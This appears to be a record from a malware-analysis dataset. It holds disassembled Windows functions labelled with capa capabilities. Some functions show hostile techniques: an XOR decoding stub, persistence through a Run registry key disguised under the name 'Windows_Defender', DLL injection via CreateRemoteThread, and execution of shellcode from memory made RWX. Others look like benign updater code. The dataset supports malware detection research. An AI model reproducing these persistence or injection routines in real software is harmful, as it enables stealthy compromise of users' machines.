joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..idata
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x171b2bb2
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x596923b2
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x7140131e
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0x104
call sym._GetCurrentDirectoryA_8
sub esp, 8
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x41c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Windows_Defender
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x714014d9
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x7140160c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x7140166f
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x71401731
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x714016a4
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x71401731
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x714016ce
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x71401731
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x71401715
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x71401731
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x714018a1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x71401c80
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x7140603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x71406034]
sub esp, 4
test ebx, ebx
je 0x71401ccb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x71401cc4
test esi, esi
je 0x71401cc4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x71401ca0
mov dword [esp], 0x7140603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x71401eb0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x71404194
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x71401f00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x71401fd8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x71401f3e
cmp eax, 4
jne 0x71401f60
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x71401f4e
cmp edx, 4
je 0x71401f4e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.71401eb0
Function at 0x404f50
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
and dword [ebp - 4], 0
lea ecx, [ebp - 8]
and dword [ebp - 0xc], 0
lea edx, [ebp - 4]
push ecx
lea ecx, [ebp - 0xc]
mov dword [ebp - 8], eax
push ecx
mov ecx, eax
call fcn.00410399
mov esi, eax
test esi, esi
js 0x405000
mov ecx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea edx, [ebp - 4]
call fcn.00410399
mov esi, eax
test esi, esi
jne 0x404ff9
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpW]
mov edi, dword [ebp - 4]
push 0x2f
pop ecx
movzx eax, word [edi]
cmp cx, ax
je 0x404fb7
push 0x2d
pop ecx
cmp cx, ax
jne 0x40502a
lea esi, [edi + 2]
push esi
push str.standalone
call ebx
test eax, eax
jne 0x404fcb
mov eax, dword [ebp + 8]
jmp 0x404fda
push esi
push str.standalone:temp
call ebx
test eax, eax
jne 0x405022
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ebp - 4]
mov dword [eax], 1
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00410399
mov esi, eax
test esi, esi
je 0x404fa1
xor eax, eax
test esi, esi
cmovns esi, eax
mov edi, dword [ebp - 4]
test edi, edi
je 0x405017
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
push str.standalone:delete
call ebx
mov esi, 0x80070057
jmp 0x405003
Function at 0x40a0bb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
push ebx
push esi
xor bl, bl
push edi
mov edi, dword [ebp + 8]
test eax, eax
jne 0x40a12d
mov eax, dword [edi + 0xc]
lea edx, [ebp - 8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov esi, eax
test esi, esi
js 0x40a217
lea eax, [ebp + 0xc]
xor ebx, ebx
push eax
inc ebx
push ebx
push 0
push dword [edi + 0x14]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
cmp esi, 0x80070002
je 0x40a222
cmp esi, 0x80070003
je 0x40a222
test esi, esi
js 0x40a217
mov eax, dword [ebp + 0xc]
lea ecx, [ebp + 8]
mov dword [ebp + 8], 4
push ecx
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push str.Size
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40a20a
mov eax, dword [ebp - 4]
and dword [edi + 0x4c], 0
mov dword [edi + 0x48], eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
mov dword [ebp + 8], 4
push eax
push 0
push 0
push str.Progress
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40a20a
mov eax, dword [ebp - 4]
xor ecx, ecx
mov dword [edi + 0x50], eax
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0x74]
mov dword [edi + 0x54], ecx
push eax
push ecx
push ecx
push str.LastAttemptHigh
push dword [ebp + 0xc]
mov dword [ebp + 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40a20a
lea eax, [ebp + 8]
mov dword [ebp + 8], 4
push eax
lea eax, [edi + 0x70]
push eax
push 0
push 0
push str.LastAttemptLow
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test bl, bl
je 0x40a217
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
xor eax, eax
mov esi, ebx
mov dword [edi + 0x48], eax
mov dword [edi + 0x4c], eax
mov dword [edi + 0x50], eax
mov dword [edi + 0x54], eax
mov dword [edi + 0x70], eax
mov dword [edi + 0x74], eax
jmp 0x40a217
Function at 0x40a23a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov byte [ebp - 1], bl
cmp dword [edi + 0x44], ebx
je 0x40a257
xor esi, esi
inc esi
jmp 0x40a429
mov ecx, dword [ebp + 8]
test ecx, ecx
jne 0x40a2a5
mov eax, dword [edi + 0xc]
lea edx, [ebp - 0xc]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov esi, eax
test esi, esi
js 0x40a429
lea eax, [ebp + 8]
push eax
push 2
push ebx
push dword [edi + 0x14]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40a429
mov ecx, dword [ebp + 8]
mov byte [ebp - 1], 1
mov eax, dword [edi + 0x48]
push 4
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 4
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push str.Size
push ecx
call ebx
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40a41a
mov eax, dword [edi + 0x50]
push 4
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.Progress
push dword [ebp + 8]
call ebx
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40a41a
push 4
lea eax, [edi + 0x74]
push eax
push 4
push 0
push str.LastAttemptHigh
push dword [ebp + 8]
call ebx
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40a41a
push 4
lea eax, [edi + 0x70]
push eax
push 4
push 0
push str.LastAttemptLow
push dword [ebp + 8]
call ebx
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40a41a
push 4
lea eax, [edi + 0x6c]
push eax
push 4
push 0
push str.LastError
push dword [ebp + 8]
call ebx
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40a41a
push 4
lea eax, [edi + 0x5c]
push eax
push 4
push 0
push str.StateCache
push dword [ebp + 8]
call ebx
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40a41a
push 4
lea eax, [edi + 0x60]
push eax
push 4
push 0
push str.StateExtract
push dword [ebp + 8]
call ebx
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40a41a
push 4
lea eax, [edi + 0x64]
push eax
push 4
push 0
push str.StateVerify
push dword [ebp + 8]
call ebx
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40a41a
push 4
lea eax, [edi + 0x68]
push eax
push 4
push 0
push str.StateAvailable
push dword [ebp + 8]
call ebx
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
cmp byte [ebp - 1], 0
je 0x40a429
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40c253
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
xor ecx, ecx
cmp dword [esi + 0xc], ecx
jne 0x40c26b
mov eax, 0x80004001
jmp 0x40c3dd
mov eax, dword [ebp + 0xc]
push ebx
push edi
test byte [eax + 4], 2
je 0x40c3be
push 0xffffffffffffffff
add eax, 0x108
lea ecx, [esi + 0x115c]
push eax
push 0x824
push ecx
call fcn.00414a74
add esp, 0x10
cmp eax, 0x50
jne 0x40c2a5
mov edi, 0x8007007a
jmp 0x40c3d9
push 0x824
lea ebx, [esi + 0x114]
xor edi, edi
push ebx
lea eax, [esi + 0x115c]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x40c2e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx edi, ax
or edi, 0x80070000
test eax, eax
cmovle edi, eax
test edi, edi
js 0x40c3d9
movzx eax, word [ebx]
push 0x68
pop ecx
push 0x74
pop edx
cmp cx, ax
jne 0x40c359
cmp dx, word [esi + 0x116]
jne 0x40c31e
cmp dx, word [esi + 0x118]
jne 0x40c31e
push 0x70
pop ecx
cmp cx, word [esi + 0x11a]
push 0x68
pop ecx
jne 0x40c31e
push 0x3a
pop edx
cmp dx, word [esi + 0x11c]
push 0x74
pop edx
je 0x40c382
cmp cx, ax
jne 0x40c359
cmp dx, word [esi + 0x116]
jne 0x40c359
cmp dx, word [esi + 0x118]
jne 0x40c359
push 0x70
pop ecx
cmp cx, word [esi + 0x11a]
jne 0x40c359
push 0x73
pop ecx
cmp cx, word [esi + 0x11c]
jne 0x40c359
push 0x3a
pop ecx
cmp cx, word [esi + 0x11e]
je 0x40c382
push 0x66
pop ecx
cmp cx, ax
jne 0x40c3a2
cmp dx, word [esi + 0x116]
jne 0x40c3a2
push 0x70
pop eax
cmp ax, word [esi + 0x118]
jne 0x40c3a2
push 0x3a
pop eax
cmp ax, word [esi + 0x11a]
jne 0x40c3a2
xor ecx, ecx
jmp 0x40c389
add ebx, 2
cmp word [ebx], cx
jne 0x40c386
push 0x2f
pop eax
cmp ax, word [ebx - 2]
je 0x40c3b1
mov word [ebx], ax
xor eax, eax
mov word [ebx + 2], ax
jmp 0x40c3b1
mov ecx, ebx
call fcn.0040e8ca
mov edi, eax
test edi, edi
js 0x40c3d9
xor ecx, ecx
mov dword [esi + 0x21a4], ecx
test edi, edi
js 0x40c3d0
mov eax, dword [ebp + 0xc]
test byte [eax + 4], 4
je 0x40c3d0
mov eax, dword [eax + 0x1150]
mov dword [esi + 0x21a8], eax
push ecx
push esi
call fcn.0040c3e2
mov edi, eax
mov eax, edi
pop edi
pop ebx
pop esi
pop ebp
ret 0xc
Function at 0x40c3e2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 8]
lea edx, [ebp - 8]
push esi
push edi
xor edi, edi
mov eax, dword [ebx + 0xc]
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x60]
mov esi, eax
test esi, esi
js 0x40c4d5
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push edi
push 0x2001f
push edi
push edi
push edi
lea eax, [ebx + 0x14]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40c4d5
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebx + 0x115c]
push eax
call edi
push eax
lea ecx, [ebx + 0x115c]
mov dword [ebp + 8], eax
push ecx
lea esi, [ebx + 0x114]
push esi
call edi
push eax
push esi
push 1
push 0x7f
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
mov eax, dword [ebp + 8]
lea eax, [eax*2 + 2]
push eax
lea eax, [ebx + 0x115c]
push eax
je 0x40c490
push 2
jmp 0x40c492
push 1
push 0
push str.Path
push dword [ebp - 4]
call edi
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40c4d5
push 4
lea eax, [ebx + 0x21a8]
push eax
push 4
push 0
push str.Priority
push dword [ebp - 4]
call edi
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
cmp dword [ebp - 4], 0
je 0x40c4e4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40c5bb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42509b
mov eax, dword fs:[0]
push eax
mov eax, 0x1168
call fcn.0042307b
mov eax, dword [0x42f058]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1170], edx
mov esi, ecx
mov eax, dword [ebp + 8]
xor edi, edi
mov ebx, dword [ebp + 0x10]
push 0x1154
mov dword [ebp - 0x1174], eax
lea eax, [ebp - 0x1164]
push edi
push eax
mov dword [ebp - 0x116c], edi
mov dword [ebx], edi
call fcn.00412d5c
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x115c]
mov dword [ebp - 0x1164], 0x1154
push 0x80
push eax
mov dword [ebp - 0x1160], 7
call fcn.00414a74
add esp, 0x1c
mov dword [ebp - 0x1168], 0x1048
lea eax, [ebp - 0x1168]
push eax
lea eax, [ebp - 0x105c]
push eax
push edi
push edi
push str.Path
push dword [ebp - 0x1170]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40c70b
lea eax, [ebp - 0x1168]
mov dword [ebp - 0x1168], 4
push eax
lea eax, [ebp - 0x14]
push eax
push edi
push edi
push str.Priority
push dword [ebp - 0x1170]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40c70b
mov ecx, dword [ebp - 0x1174]
lea eax, [ebp - 0x116c]
push eax
push dword [ebp + 0xc]
lea edx, [ebp - 0x1164]
call fcn.0040c51e
mov esi, eax
test esi, esi
js 0x40c6f0
mov eax, dword [ebp - 0x116c]
mov esi, edi
mov dword [ebx], eax
jmp 0x40c6f6
mov edi, dword [ebp - 0x116c]
test edi, edi
je 0x40c70b
mov eax, dword [edi + 4]
mov eax, dword [eax + 4]
add eax, 4
add eax, edi
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00411695
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40d540
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
push esi
xor esi, esi
push edi
mov eax, dword [ebx + 0x250]
mov edi, esi
cmp eax, 0xffffffff
jne 0x40d55d
inc edi
jmp 0x40d628
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebx + 0x250], 0xffffffff
cmp dword [ebp + 8], esi
je 0x40d628
cmp dword [ebx + 0x14], esi
jne 0x40d628
push esi
push esi
push 3
push esi
push esi
push 0xc0000000
lea eax, [ebx + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx + 0x250], eax
cmp eax, 0xffffffff
jne 0x40d5b7
call esi
movzx edi, ax
or edi, 0x80070000
test eax, eax
cmovle edi, eax
test edi, edi
js 0x40d628
push 0
push 0
push dword [ebx + 0x244]
push dword [ebx + 0x240]
push dword [ebx + 0x250]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x40d5eb
call esi
movzx edi, ax
or edi, 0x80070000
test eax, eax
cmovle edi, eax
test edi, edi
js 0x40d628
push dword [ebx + 0x250]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x40d60f
call esi
movzx edi, ax
or edi, 0x80070000
test eax, eax
cmovle edi, eax
test edi, edi
js 0x40d628
mov eax, dword [ebx + 0x244]
mov esi, dword [ebx + 0x20]
mov edx, dword [ebx + 0x240]
push eax
push edx
mov ecx, dword [esi]
push eax
push edx
push esi
call dword [ecx + 0x50]
mov eax, dword [ebx + 0x250]
cmp eax, 0xffffffff
je 0x40d641
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebx + 0x250], 0xffffffff
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x40dd5b
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
and dword [ebp - 8], 0
mov eax, dword [edx + 8]
push ebx
push edi
mov edi, ecx
test eax, eax
je 0x40dd82
lea ecx, [ebp - 4]
mov edx, eax
push ecx
call fcn.0040de78
mov ebx, eax
jmp 0x40ddc5
lea eax, [ebp - 4]
push eax
push dword [edx + 0x30]
movzx eax, byte [edx + 0x12]
push dword [edx + 0x2c]
push dword [edx + 0x28]
push dword [edx + 0x24]
push dword [edx + 0x20]
push dword [edx + 0x1c]
push dword [edx + 0x18]
push dword [edx + 0x14]
push eax
lea eax, [edx + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x40ddc9
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
test ebx, ebx
js 0x40ddfb
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push edi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x40ddf3
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
test ebx, ebx
js 0x40ddfb
xor ebx, ebx
cmp dword [ebp - 8], ebx
sete bl
cmp dword [ebp - 4], 0
je 0x40de0a
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
pop edi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret